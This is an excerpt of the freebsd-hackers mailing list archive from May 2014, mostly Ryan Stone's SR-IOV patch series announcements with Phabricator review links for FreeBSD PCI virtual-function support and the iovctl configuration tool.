Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 02:10:13 -0000 This patch series handles creating VFs, allocating memory space resources to them, and destroying them. I have two concerns with these patches: Patch 8: Do I need to do any special handling for big-endian architectures when emulating the PCI vendor field? Patch 9: I'm not very familiar with the rman API and I worry that I might be abusing the API or using functions that are too low-level for what I'm trying to accomplish. Oh, and the reason why I use Giant in these patches is that the PCI subsystem (and newbus) are currently locked by Giant. I didn't see any reasonable way to extricate myself for Giant here, so I punted on the problem and whoever finally deals with newbus locking will hopefully be able to fix the problem holistically. http://people.freebsd.org/~rstone/patches/iov/0007-Implement-interface-to-create-SR-IOV-Virtual-Functio.patch [PATCH 07/21] Implement interface to create SR-IOV Virtual Functions Implement the interace to create SR-IOV Virtual Functions (VFs). When a driver registers that they support SR-IOV by calling pci_setup_iov(), the SR-IOV code creates a new node in /dev/iov for that device. An ioctl can be invoked on that device to create VFs and have the driver initialize them. At this point, allocating memory I/O windows (BARs) is not supported. --- sys/amd64/conf/GENERIC | 1 + sys/conf/files | 1 + sys/conf/options | 1 + sys/dev/pci/pci.c | 29 ++++ sys/dev/pci/pci_if.m | 24 +++ sys/dev/pci/pci_iov.c | 380 ++++++++++++++++++++++++++++++++++++++++++ sys/dev/pci/pci_iov_private.h | 40 +++++ sys/dev/pci/pci_private.h | 6 + sys/dev/pci/pcireg.h | 18 ++ sys/dev/pci/pcivar.h | 22 +++ sys/i386/conf/GENERIC | 1 + sys/sys/iov.h | 43 +++++ 12 files changed, 566 insertions(+) http://people.freebsd.org/~rstone/patches/iov/0008-Emulate-the-Device-ID-and-Vendor-ID-registers-for-VF.patch [PATCH 08/21] Emulate the Device ID and Vendor ID registers for VFs The SR-IOV standard requires VFs to read all-ones when the VID and DID registers are read. The VMM (hypervisor) is required to emulate them instead. Make pci_read_config() do this emulation. Change pci_user.c to use pci_read_config() to read config space registers instead of going directly to the pcib so that the emulated VID/DID registers work correctly on VFs. This is required both for pciconf and bhyte PCI passthrough. --- sys/dev/pci/pci.c | 31 +++++++++++++++++++++++++++++++ sys/dev/pci/pci_user.c | 20 ++++---------------- 2 files changed, 35 insertions(+), 16 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0009-Allocate-PCI-I-O-memory-spaces-for-VFs.patch [PATCH 09/21] Allocate PCI I/O memory spaces for VFs When creating VFs, we must size each SR-IOV BAR on the PF and allocate a configuous I/O memory window large enough for every VF. However, the window only needs to be aligned to a boundary equal to the size of the window for a single VF. When a VF attempts to allocate an I/O memory resource, we must intercept the request in the pci driver and pass it off to the SR-IOV code, which will allocate the correct window from the pre-allocated memory space for the PF. Inform the pci driver about the size and address of the BARs on the VF when the VF is created. This is required by pciconf -b and bhyve. --- sys/dev/pci/pci.c | 35 ++++++++ sys/dev/pci/pci_iov.c | 200 +++++++++++++++++++++++++++++++++++++++++- sys/dev/pci/pci_iov_private.h | 13 +++ sys/dev/pci/pci_private.h | 6 ++ sys/dev/pci/pcivar.h | 2 +- 5 files changed, 252 insertions(+), 4 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0010-Add-interface-to-destroy-SR-IOV-VFs.patch [PATCH 10/21] Add interface to destroy SR-IOV VFs --- sys/dev/pci/pci_iov.c | 113 +++++++++++++++++++++++++++++++++++++++++- sys/dev/pci/pci_iov_private.h | 1 + sys/sys/iov.h | 1 + 3 files changed, 113 insertions(+), 2 deletions(-) From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 02:14:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3744CD91 for ; Tue, 27 May 2014 02:14:19 +0000 (UTC) Received: from mail-ob0-x234.google.com (mail-ob0-x234.google.com [IPv6:2607:f8b0:4003:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0552E215C for ; Tue, 27 May 2014 02:14:18 +0000 (UTC) Received: by mail-ob0-f180.google.com with SMTP id va2so8682761obc.11 for ; Mon, 26 May 2014 19:14:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=mSP3fGY3YNt5XBwniosMwh2iH70Zc2JKgOrn+nGiGqg=; b=y4pWdduW7v+wccQgQFfLLAWSm9NCQCap5kLvWkbBeUFWdgFDr4J71wXkngcn9OxV0B GqSDMMYV/h1E9Yjv0cZr+bPNIOmiZ6ilVpvWam0OPXhH2a6M6R4A3ZbjzIYQNIyHEYG8 hu2g2B2NhIMwQLnmlja9+0EfNzRcLrbpLhOdec6Hz89foS77mT2y96hCjwG3oqU+tXTE rL4g16aoD2gA2Llh4UQEcUrO7YLEZzH7cq1KyOiPqjp4EmpnZt946V9DiMhFkay3LrNi Mr8SF44Zml/sWqemEpI+jeiWwEpRKhVCFqm1Esi9s4o4FUZ0Yg5Z4bRP4kBq0ITM2Z0u PpHA== MIME-Version: 1.0 X-Received: by 10.182.227.197 with SMTP id sc5mr29404928obc.18.1401156858290; Mon, 26 May 2014 19:14:18 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Mon, 26 May 2014 19:14:18 -0700 (PDT) Date: Mon, 26 May 2014 22:14:18 -0400 Message-ID: Subject: SR-IOV Patch Series 5/7: SR-IOV Configuration Interface From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 02:14:19 -0000 This patch series deals with the configuration schema, which specifies the format of valid configuration for a given PF device, and the details of accepting configuration from iovctl, validating it against the schema and then passing it to the driver. http://people.freebsd.org/~rstone/patches/iov/0011-Add-infrastructure-for-exporting-config-schema-from-.patch [PATCH 11/21] Add infrastructure for exporting config schema from PF drivers --- sys/conf/files | 1 + sys/dev/pci/pci_if.m | 6 ++ sys/dev/pci/pci_iov.c | 186 ++++++++++++++++++++++++++++++++++++- sys/dev/pci/pci_iov_private.h | 1 + sys/dev/pci/pci_iov_schema.c | 208 ++++++++++++++++++++++++++++++++++++++++++ sys/dev/pci/pci_private.h | 3 +- sys/dev/pci/pcivar.h | 7 +- sys/dev/pci/schema_private.h | 35 +++++++ sys/sys/iov.h | 127 ++++++++++++++++++++++++++ sys/sys/iov_schema.h | 52 +++++++++++ 10 files changed, 622 insertions(+), 4 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0012-Add-function-to-validate-the-consistency-of-SR-IOV-c.patch [PATCH 12/21] Add function to validate the consistency of SR-IOV config Add a function that validates that the user-provided SR-IOV configuration is valid. This includes basic checks that the structure of the configuration is correct (e.g. all required configuration nodes are present) as well as validating against a configuration schema. The schema validation consists of: - Ensuring that all required config parameters are present. - If the schema defines a default value for a parameter, adding the default value if the parameter is not set. - Ensuring that no parameters are specified in the config that are not defined in the schema. - Ensuring that have the correct type defined in the schema. - Ensuring that no configuration nodes are present for devices that do not exist. For example, if 2 VFs are configured, then we validate that a node called VF-5 does not exist. --- sys/dev/pci/pci_iov_schema.c | 428 ++++++++++++++++++++++++++++++++++++++++--- sys/sys/iov.h | 5 + 2 files changed, 412 insertions(+), 21 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0013-Pass-SR-IOV-configuration-to-kernel-using-an-nvlist.patch [PATCH 13/21] Pass SR-IOV configuration to kernel using an nvlist Pass all SR-IOV configuration to the kernel using an nvlist. The main benefit that this offers is flexibility. It allows a driver to accept any number of parameters of any type supported by the SR-IOV configuration infrastructure with having to make any changes outside of the driver. It also offers the user very fine-grained control over the configuration of the VFs -- if they want, they can have different configuration applied to every VF. --- sys/dev/pci/pci_if.m | 2 + sys/dev/pci/pci_iov.c | 129 +++++++++++++++++++++++++++++++++++++++++--------- sys/sys/iov.h | 93 +++++++++++++++++++++++++++++++++--- 3 files changed, 195 insertions(+), 29 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0021-Validate-the-schema-that-the-PF-driver-passed-to-us.patch [PATCH 21/21] Validate the schema that the PF driver passed to us --- sys/dev/pci/pci_iov.c | 4 + sys/dev/pci/pci_iov_schema.c | 275 +++++++++++++++++++++++++++++++++++++++++-- sys/dev/pci/schema_private.h | 2 + 3 files changed, 274 insertions(+), 7 deletions(-) From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 02:18:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9308FE8C for ; Tue, 27 May 2014 02:18:21 +0000 (UTC) Received: from mail-oa0-x236.google.com (mail-oa0-x236.google.com [IPv6:2607:f8b0:4003:c02::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6147A2173 for ; Tue, 27 May 2014 02:18:21 +0000 (UTC) Received: by mail-oa0-f54.google.com with SMTP id j17so8884453oag.13 for ; Mon, 26 May 2014 19:18:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=vSbb5y7Yi+7CKg9UXKnMblh4qLqJsejbD6A3OiNHNKM=; b=WGuK7dkB5vwtSo5nrQM/q0hY5gakN+tWYRovFXpomfruB/WzJmSlntau/Dzlp164Ok 0uiHIAFzSOzihfg8fKjmPXDSuNxBtm7rzCIQVN93KHROPH8L86yXcv585u68Sm4BcUtr TetxFrwsCUWUG1bPkmDxwrvRFsy9sT+LNxOpKmTztw2Y9BzcKTqxXHI6fWBY5R6Rr5xo 6DhFoziN50jVI45TwqdNbI22lC3C4lnAz2liDX3mo8URGiMpEESmEeRoFp5TztP4tiI5 zdRmgo0c4JrIHNVIWRk6GJMaNBR+gMhzOfoE2RZNfaYxzwqEf9bubuyORPCO/LOxG0Yw Loeg== MIME-Version: 1.0 X-Received: by 10.182.29.166 with SMTP id l6mr29459500obh.2.1401157100753; Mon, 26 May 2014 19:18:20 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Mon, 26 May 2014 19:18:20 -0700 (PDT) Date: Mon, 26 May 2014 22:18:20 -0400 Message-ID: Subject: SR-IOV Patch Series 6/7: iovctl Configuration Tool From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 02:18:21 -0000 This patch series has the complete implementation of iovctl(8). This tool parses configuration files (in libucl format, the same format used by pkg(8)), converts the configuration to the nvlist-based format used in the kernel, validates the configuration, and then passes the configuration to the kernel. Validating the configuration in iovctl is technically redundant however iovctl is much more able to give meaningful error messages to the administrator. http://people.freebsd.org/~rstone/patches/iov/0016-Add-iovctl-functions-for-validating-config.patch [PATCH 16/21] Add iovctl functions for validating config Add an function to iovctl that validates the configuration against a schema. This function is able to assume that the parser has done most of the validation already and it's only responsible for applying default VF values specified in the config file, confirming that all required parameters have been set and that no invalid VF numbers have been specified. --- usr.sbin/iovctl/validate.c | 274 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 274 insertions(+) http://people.freebsd.org/~rstone/patches/iov/0017-Add-functions-for-parsing-the-iovctl-config-file.patch [PATCH 17/21] Add functions for parsing the iovctl config file Add two functions for parsing the iovctl config file. The config file is parsed using libucl[1], which accepts most YAML files and a superset of JSON. The first function is an ad-hoc parser that searches the file for the PF.DEVICE configuration value. We need to know that value in order to fetch the schema from the kernel, and we need the schema in order to be able to fully parse the file. The second function parses the config file and validates it against a schema. This function will exit with an error message if any validation error occurs. If it succeeds, the configuration is returned as an nvlist suitable for passing to the kernel. [1] https://github.com/vstakhov/libucl --- usr.sbin/iovctl/parse.c | 398 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 398 insertions(+) http://people.freebsd.org/~rstone/patches/iov/0018-Add-main-for-iovctl-and-hook-iovctl-into-build.patch [PATCH 18/21] Add main() for iovctl and hook iovctl into build --- usr.sbin/Makefile | 1 + usr.sbin/iovctl/Makefile | 19 +++ usr.sbin/iovctl/iovctl.c | 402 +++++++++++++++++++++++++++++++++++++++++++++++ usr.sbin/iovctl/iovctl.h | 37 +++++ 4 files changed, 459 insertions(+) From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 14:34:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C107E60 for ; Tue, 27 May 2014 14:34:17 +0000 (UTC) Received: from mail-ob0-x22b.google.com (mail-ob0-x22b.google.com [IPv6:2607:f8b0:4003:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CC351204A for ; Tue, 27 May 2014 14:34:16 +0000 (UTC) Received: by mail-ob0-f171.google.com with SMTP id wn1so9324643obc.30 for ; Tue, 27 May 2014 07:34:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=bLwBri39Amg4wL6QPx5NLlvcc7rBdtWoZcNP7Tweh4U=; b=g+2l+X5fch0nw0YuccrsJvGqeDd1lXYFTIjljXyfryfsTo1VPboRdVtqt2pLq3RHLB 3WMyY28edViZa/bcsrC2bJ/kUf6hidZIFv/xhuCU9Z5nbYMGPi/2/AfGcZfTwn6xwkn8 tcsj71itVwNmbsG+Rk6vzPULs48neXjcO7Z568SKbAfeZqBV8Y5jaYLUA3Yf0VCQpmSg b6f6kLaPt2wMLhOe1JiFUDw/x5gN4BebAx/LAivQ5fjdX/izxtPePTAaWacgHZoY8aZ1 tNDR4NjMHMxU4uwjJN5fDowzWaSImsDxsdptMGZfOupD490SjWIBfwpuD2ALSi8TIzLO WPNw== MIME-Version: 1.0 X-Received: by 10.60.231.134 with SMTP id tg6mr3906119oec.84.1401201256121; Tue, 27 May 2014 07:34:16 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Tue, 27 May 2014 07:34:16 -0700 (PDT) In-Reply-To: References: Date: Tue, 27 May 2014 10:34:16 -0400 Message-ID: Subject: Re: SR-IOV Patch Series 1/7: PCI Infrastructure Refactoring From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 14:34:17 -0000 I've put the patches up in Phabricator if anybody wants to use that to review > http://people.freebsd.org/~rstone/patches/iov/0001-Refactor-PCI-device-creation.patch https://phabric.freebsd.org/D67 > http://people.freebsd.org/~rstone/patches/iov/0002-Refactor-PCI-resource-allocation.patch https://phabric.freebsd.org/D71 > http://people.freebsd.org/~rstone/patches/iov/0003-Add-some-pcib-methods-to-get-ARI-related-information.patch https://phabric.freebsd.org/D72 From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 14:36:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0B12BF5F for ; Tue, 27 May 2014 14:36:17 +0000 (UTC) Received: from mail-ob0-x236.google.com (mail-ob0-x236.google.com [IPv6:2607:f8b0:4003:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CB04F2072 for ; Tue, 27 May 2014 14:36:16 +0000 (UTC) Received: by mail-ob0-f182.google.com with SMTP id wn1so9472352obc.27 for ; Tue, 27 May 2014 07:36:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=8uDKmoH6Cdb3UGEhdGmNuvHOHVi8LbvPaLIxZ10+2D4=; b=qmF0vJLgisIM6H5LTbOI3jjg7d7jvNxNn9INFvQ61icLziRkuO0kNTcUaeQKbiSfet ksQTJA5jPf6Ue/4tZIdGQ2oQX1U1uC91lZNlvMuO/PrVDU3qxZz2E5tMUIiRmSzMBwK8 L+7jpHnrLRifFEwfP0pdUzYr2yuZk0gDFyrGncPNtlFnZ4BIhz4ZFIY7a3jO6xhezKKu CoRFe8Nz3QoroTfdpZoo6cv/Wj/VUW/LORUVQNLzKYmFlUlAxI7QgzSE0cs8iiWhUkDA DDKq1Mv7t/24Gzu41D8qnWRAhjmTsbe+/vUyhh2JxYpUppKuDjjrt1sHE0E3z4f5Y464 Hl5g== MIME-Version: 1.0 X-Received: by 10.60.83.73 with SMTP id o9mr34020499oey.56.1401201376192; Tue, 27 May 2014 07:36:16 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Tue, 27 May 2014 07:36:16 -0700 (PDT) In-Reply-To: References: Date: Tue, 27 May 2014 10:36:16 -0400 Message-ID: Subject: Re: SR-IOV Patch Series 4/7: Core SR-IOV infrastructure in pci driver From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 14:36:17 -0000 Phabricator reviews: On Mon, May 26, 2014 at 10:10 PM, Ryan Stone wrote: > http://people.freebsd.org/~rstone/patches/iov/0007-Implement-interface-to-create-SR-IOV-Virtual-Functio.patch https://phabric.freebsd.org/D76 > http://people.freebsd.org/~rstone/patches/iov/0008-Emulate-the-Device-ID-and-Vendor-ID-registers-for-VF.patch https://phabric.freebsd.org/D77 > http://people.freebsd.org/~rstone/patches/iov/0009-Allocate-PCI-I-O-memory-spaces-for-VFs.patch https://phabric.freebsd.org/D78 > http://people.freebsd.org/~rstone/patches/iov/0010-Add-interface-to-destroy-SR-IOV-VFs.patch https://phabric.freebsd.org/D79 From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 14:38:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0D5DDF0 for ; Tue, 27 May 2014 14:38:01 +0000 (UTC) Received: from mail-ob0-x229.google.com (mail-ob0-x229.google.com [IPv6:2607:f8b0:4003:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CB0292088 for ; Tue, 27 May 2014 14:38:00 +0000 (UTC) Received: by mail-ob0-f169.google.com with SMTP id vb8so9431291obc.28 for ; Tue, 27 May 2014 07:38:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=7dYoLXuY0UPQ5gZ2aW/2UEF78Z6RBoLACC0lwTxVNCY=; b=Gsyc5a/lODMUj9pqxgf3F7LmygHvJp9hTAbI82ael8f4byMkXFgxMPFhxVZy1kIAay O+xNTjU16hai5lROiiIQrzYn0NKVLrk2cetycrrpr6T3h87Oex3D8XvAN0Y+zA2cqxdJ dxQteTGbjWU7RnU/C8Pm0jS7AICyTChOYvEvlPSvwV5igy/OaJmTTb8qXJYaga0nRG4/ jkXgSH0Ojbk/eLNmwyvylJDjZMddvWoOUasldf/ubbgcuozB0/RQyFzAZKC12svYVB+C KD8avrGbMrywq7rY0G8Gz5dV//ReVfSFUqZtNXlbu3KRRhDTHicB3R1apThoQEpslNQD Rrtg== MIME-Version: 1.0 X-Received: by 10.60.231.134 with SMTP id tg6mr3936168oec.84.1401201480023; Tue, 27 May 2014 07:38:00 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Tue, 27 May 2014 07:37:59 -0700 (PDT) In-Reply-To: References: Date: Tue, 27 May 2014 10:37:59 -0400 Message-ID: Subject: Re: SR-IOV Patch Series 5/7: SR-IOV Configuration Interface From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 14:38:01 -0000 Phabricator reviews: On Mon, May 26, 2014 at 10:14 PM, Ryan Stone wrote: > http://people.freebsd.org/~rstone/patches/iov/0011-Add-infrastructure-for-exporting-config-schema-from-.patch https://phabric.freebsd.org/D80 > http://people.freebsd.org/~rstone/patches/iov/0012-Add-function-to-validate-the-consistency-of-SR-IOV-c.patch https://phabric.freebsd.org/D81 > http://people.freebsd.org/~rstone/patches/iov/0013-Pass-SR-IOV-configuration-to-kernel-using-an-nvlist.patch https://phabric.freebsd.org/D82 > http://people.freebsd.org/~rstone/patches/iov/0021-Validate-the-schema-that-the-PF-driver-passed-to-us.patch https://phabric.freebsd.org/D90 From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 14:40:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B2D9F2EF for ; Tue, 27 May 2014 14:40:04 +0000 (UTC) Received: from mail-ob0-x230.google.com (mail-ob0-x230.google.com [IPv6:2607:f8b0:4003:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7F2B120B8 for ; Tue, 27 May 2014 14:40:04 +0000 (UTC) Received: by mail-ob0-f176.google.com with SMTP id wo20so9215065obc.7 for ; Tue, 27 May 2014 07:40:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=sZTdcWyB4aIDiXSuk2hUDRquX/mK/l8P/n2ZhxOok58=; b=gfkIikwW+9V/c71qSrtLC45c7gubXQePeE2OhZhDzfFP1+Dv6wBWPRWX8NZcsjSdNt YMUsJXV4yVvV3ZNMzNO1zSZFtjukZwWebOTYTDHOsA88pz4GihI3d4QL8B7hOYxXjOyT dDU+cbj2JNmlz/+XeyJrUDbGhIaUQfcMZclM9ev6yDNjmRjoA86fmA9byTdNOTzqbRGn WJuj1k/+6NuKDSir8eXaywj+JOiAt1yMDeEzenSOjUqdWmAIvNpX59mP7dcGkaGyzpVe dl0MwCi20NkrFjX2OJdDJyZu0cyZWbdt/zQpC9ILD4w2pXbHvtJGEqvWzhBXhRewmtoi Es0A== MIME-Version: 1.0 X-Received: by 10.60.76.233 with SMTP id n9mr33462649oew.50.1401201603818; Tue, 27 May 2014 07:40:03 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Tue, 27 May 2014 07:40:03 -0700 (PDT) In-Reply-To: References: Date: Tue, 27 May 2014 10:40:03 -0400 Message-ID: Subject: Re: SR-IOV Patch Series 6/7: iovctl Configuration Tool From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 14:40:04 -0000 On Mon, May 26, 2014 at 10:18 PM, Ryan Stone wrote: > http://people.freebsd.org/~rstone/patches/iov/0016-Add-iovctl-functions-for-validating-config.patch https://phabric.freebsd.org/D85 > http://people.freebsd.org/~rstone/patches/iov/0017-Add-functions-for-parsing-the-iovctl-config-file.patch https://phabric.freebsd.org/D86 > http://people.freebsd.org/~rstone/patches/iov/0018-Add-main-for-iovctl-and-hook-iovctl-into-build.patch https://phabric.freebsd.org/D87 From owner-freebsd-hackers@FreeBSD.ORG Wed May 28 05:01:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 16E53FA1 for ; Wed, 28 May 2014 05:01:54 +0000 (UTC) Received: from nm39-vm8.bullet.mail.bf1.yahoo.com (nm39-vm8.bullet.mail.bf1.yahoo.com [72.30.239.152]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B67FB2AC3 for ; Wed, 28 May 2014 05:01:53 +0000 (UTC) Received: from [98.139.212.152] by nm39.bullet.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:01:52 -0000 Received: from [98.139.213.10] by tm9.bullet.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:01:52 -0000 Received: from [127.0.0.1] by smtp110.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:01:52 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1401253312; bh=OHkxSipzy7YXWDYhKw5qeikZCFczr2jiuO/a4mq0358=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=zNrC+Kiqp9+37cjXVCV2ntk5rC5Y5SsEXrLwtpndgrl9hQg/Cyrf9Nt8UNJkTbgx5V4oIFuUy9h7UVqbU68F7nzwkpTHzzqZp9NDOqajy9T9otj0uC6aYVr1M++LuYXDuHlKQhMpnblqbdha3LOM4GfyBrYf4SsvsR/0CJ++5bM= X-Yahoo-Newman-Id: 248024.33777.bm@smtp110.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: Ot6oyrYVM1mg9Ab5vlUeG65xoOAEItD7IRU8NT.LJzJXaPb gUbnmZ8mit5Rb0VakbhcUJr22wgzRCII_tG8scJbysEdLH3ka65VSEMzf_J0 x5pOcWFLA0ceeZCWlbKL764pdkz6b25RYf0opsuluzSx.bzyBw6cSdc7STfP cXXIBdmEjD8vCOM7sq9.KabMnTHoL1aPqAHmIO4u.uEtKehnt02XyQce7hTV rDXOfdhwj9Atix_wEB_OoJGe4.vszu2OghFxPngnZPQKP4Xel_tQUYzXgnxR FxiwbCcoMvKh0FUqwn6sn.dj7Xo17DhsV6l0G9raH6QglEjwkWLG.xJM.9z9 dFAFKPt4pNWYZafC0ZwG9cyqbzhfbFN3K02eLgPdVc52MCTKAEak7..wEjvM .usMi0pUoE8sPRtQe.CMTRaRV0PdiKQP8Yra5sm9GfrrsSJfB1_7RFttl9yE QaGLwDrBUVJYe0pTdP0.r0GO.0DAIrm9yRYR.X_R1fBweklSnk8jm0vat X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.16.181.112] (free7by@117.136.24.64 with xymcookie [106.10.149.123]) by smtp110.mail.bf1.yahoo.com with SMTP; 27 May 2014 22:01:52 -0700 PDT References: Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: iPhone Mail (11D201) From: by Subject: Re: How to get familiar with a system Date: Wed, 28 May 2014 13:01:35 +0800 To: Dieter BSD Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 May 2014 05:01:54 -0000 I think that is a good idea, follow the current problem and find what can do. - by From owner-freebsd-hackers@FreeBSD.ORG Wed May 28 05:28:08 2014 Return-Path: Delivered-To: 